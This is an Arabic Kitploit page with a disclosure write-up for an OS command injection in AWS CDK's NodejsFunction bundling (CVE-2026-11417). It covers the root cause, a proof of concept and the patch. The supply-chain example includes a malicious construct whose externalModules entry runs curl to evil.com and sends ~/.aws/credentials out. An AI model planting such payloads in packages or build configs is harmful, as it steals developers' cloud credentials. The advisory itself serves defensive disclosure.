Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-11417-AWS-CDK-RCE — شرح تقني وإثبات المفهوم (PoC) لـ CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) في NodejsFunction الخاص بـ AWS CDK. | Kitploit
أدوات/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاختبار الاختراقأمن السحابةأمن سلسلة التوريدالأوراق والأبحاثالتعلم والتعليم
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

شرح تقني وإثبات المفهوم (PoC) لـ CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) في NodejsFunction الخاص بـ AWS CDK.

عرض المستودع
3منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حقن أوامر في سلسلة التوريد في NodejsFunction الخاص بـ AWS CDK (CVE-2026-11417)

المؤلف: هشام أشرف (@HeshamASH)

التاريخ: 10 يونيو 2026

الخطورة: عالية (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل)

الحزمة المتأثرة: aws-cdk-lib (npm)، جميع الإصدارات السابقة لـ 2.245.0

البائع: خدمات أمازون ويب (AWS)

الحالة: تم التصحيح (PR #37292، PR #37412) | CVE: CVE-2026-11417 | النشرة: AWS-2026-041 | التنبيه: GHSA-999r-qq7v-r334


TL;DR

اكتشفت ثغرة حقن أوامر في AWS Cloud Development Kit (CDK) تسمح للمهاجم بتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) على أي جهاز يشغّل cdk synth — بما في ذلك محطات عمل المطورين وخطوط أنابيب CI/CD — عن طريق نشر حزمة npm ضارة أو إرسال طلب سحب (Pull Request) مفبرك.

كانت الثغرة موجودة لأن بنية NodejsFunction في aws-cdk-lib كانت تُدرج سلاسل يتحكم فيها المستخدم مباشرةً في أمر شل دون تعقيم، ثم تنفذه عبر bash -c / cmd /c. قامت AWS بتصحيح المشكلة عن طريق استبدال التنفيذ القائم على الشل بمصفوفات وسيطات spawnSync المباشرة.


الخلفية

AWS Cloud Development Kit (CDK) هو إطار عمل مفتوح المصدر واسع الاستخدام لتعريف البنية التحتية السحابية كرمز. يستخدمه عشرات الآلاف من المطورين وخطوط أنابيب CI/CD لتجميع ونشر مجموعات AWS CloudFormation.

بنية NodejsFunction هي واحدة من أكثر بنيات CDK من المستوى الثاني (L2) شيوعًا. تقوم بتجميع دوال Lambda بلغتي TypeScript/JavaScript باستخدام esbuild خلال مرحلة التجميع (cdk synth).


الثغرة

السبب الجذري

كانت بنية NodejsFunction أثناء التجميع المحلي تبني سلسلة أوامر شل عن طريق إدراج عدة خصائص يتحكم فيها المستخدم مباشرةً دون أي تعقيم:

root@kitploit:~
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (قبل التصحيح)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // لا تعقيم
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // لا تعقيم
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // المفتاح غير معقم
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // لا تعقيم
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // لا تعقيم
];

ثم يتم دمج المصفوفة في سلسلة واحدة وتمريرها إلى شل:

root@kitploit:~
// يتم تمرير الأمر المجمع مباشرة إلى شل نظام التشغيل
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

سيتم تفسير الأحرف الوصفية للشل مثل &, ;, |, `, و$(...) داخل أي من الخصائص القابلة للحقن بواسطة الشل كفاصل أوامر، مما يتيح تنفيذ أوامر عشوائية.

الخصائص المتأثرة

الخاصيةالتعقيممستوى الخطورة
externalModulesلا يوجدحرج
define (المفاتيح)لا يوجد (القيم تستخدم JSON.stringify)حرج
loader (المفاتيح)لا يوجدحرج
injectلا يوجدحرج
esbuildArgs (المفاتيح/القيم)لا يوجدحرج

سيناريو هجوم سلسلة التوريد

هذه الثغرة خطيرة بشكل خاص لأن الحقن يحدث في طبقة تجميع CDK، وليس أثناء npm install. وهذا يعني أن إجراءات أمان npm القياسية مثل --ignore-scripts لا توفر أي حماية.

ناقل الهجوم: بنية CDK ضارة

ينشر المهاجم حزمة npm تبدو شرعية تلتف حول NodejsFunction:

root@kitploit:~
// منشورة كـ "convenient-lambda" على npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // حمولة مخفية بين externals التي تبدو شرعية
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

عندما يقوم المطور بتثبيت هذه الحزمة وتشغيل cdk synth، يقوم CDK ببناء:

root@kitploit:~
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

يقوم حرف & بتقسيم هذا إلى أمرين شل مستقلين:

  1. npx esbuild --bundle handler.ts --external:lodash — يعمل esbuild بشكل طبيعي
  2. curl https://evil.com/... — حمولة المهاجم تسرق بيانات اعتماد AWS

لماذا يتجاوز هذا الدفاعات القياسية

الدفاعفعال؟لماذا
npm install --ignore-scriptsلاالحقن يحدث أثناء cdk synth، وليس أثناء تثبيت الحزمة
مراجعة كود package.jsonلاالحمولة موجودة في كود TypeScript الخاص بالبنية، وليس في البرامج النصية
npm auditلاالحزمة لا تحتوي على ثغرات معروفة
سلامة ملف القفل (lockfile)لاالحزمة نفسها تم تثبيتها بشكل صحيح

إثبات المفهوم

الخطوة 1: إنشاء مشروع CDK

root@kitploit:~
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

الخطوة 2: إنشاء app.ts مع حمولة الحقن

root@kitploit:~
import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

الخطوة 3: التشغيل

root@kitploit:~
npx ts-node app.ts

الخطوة 4: التحقق من RCE

root@kitploit:~
cat pwned.txt
# المخرجات: PWNED

تم إنشاء الملف pwned.txt، مما يؤكد تنفيذ أوامر عشوائية على المضيف.


الإصلاح

PR #37292: spawnSync القائم على المصفوفة

يستبدل الإصلاح الأساسي بناء سلسلة أوامر الشل بـ spawnSync المباشر باستخدام مصفوفات الوسيطات:

root@kitploit:~
- // قبل: سلسلة أوامر يتم تفسيرها بواسطة الشل
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // بعد: مصفوفة وسيطات مباشرة (لا تفسير شل)
+ spawnSync(command, args, { /* لا شل */ });

هذا يلغي تفسير الأحرف الوصفية للشل تمامًا. نظام النوع الجديد BundlingStep يفصل بوضوح بين:

  • خطوات spawn: esbuild/tsc/install — تُنفذ عبر spawnSync المباشر مع مصفوفات الوسيطات
  • خطوات shell: commandHooks التي يوفرها المستخدم — تُنفذ عمدًا عبر شل (المستخدم يتحكم فيها حسب الاتفاق)
  • خطوات fs: عمليات الملفات — لا مشاركة للشل

PR #37412: تعقيم Windows PowerShell

على Windows مع Node 22+، فشل spawnSync المباشر لـ .cmd shims مع خطأ EINVAL. يقوم هذا PR بتوجيه خطوات spawn عبر powershell.exe مع powershellEscape() — وهي دالة تستخدم علامات اقتباس مفردة صارمة لكل وسيطة باستخدام آلية التعقيم الأصلية لـ PowerShell (مضاعفة علامات الاقتباس المفردة الداخلية)، ثم تسبق عامل الاستدعاء &.


الدروس المستفادة

  1. تنفيذ الشل هو مؤشر على وجود مشكلة. أي مسار كود يقوم ببناء سلسلة ويمررها إلى bash -c أو cmd /c هو ثغرة حقن أوامر محتملة. يُفضل دائمًا استخدام spawnSync أو execFile القائمين على المصفوفة.

  2. هجمات سلسلة التوريد تتجاوز دفاعات وقت التثبيت. npm audit و --ignore-scripts يحميان من البرامج النصية الضارة postinstall، لكن لا يمكنهما الحماية من الثغرات في الأدوات التي تعالج التبعيات في وقت البناء.

  3. بنيات CDK هي كود موثوق. عندما يستورد المطور بنية CDK تابعة لطرف ثالث، فهو يثق ضمنيًا في أنها ستقوم بتكوين بنيته التحتية بشكل صحيح. يمكن لبنية ضارة استغلال هذه الثقة لحقن حمولات في خصائص التجميع التي تبدو كتكوين عادي.


توصيات لمستخدمي CDK

  1. التحديث فورًا إلى إصدار aws-cdk-lib 2.245.0 أو أحدث

  2. مراجعة بنيات CDK التابعة لطرف ثالث بحثًا عن قيم غير عادية لخاصية bundling

  3. تثبيت إصدارات بنيات CDK في ملف package-lock.json

  4. مراجعة طلبات السحب التي تعدل تكوين bundling بفحص إضافي

  5. إعادة إنتاج الثغرة باستخدام الملفات المتوفرة في مجلد poc/.


تم اكتشافها والإبلاغ عنها بواسطة هشام أشرف (@HeshamASH). تم الإفصاح المنسق من خلال برنامج VDP التابع لـ AWS.

تنزيل الأداة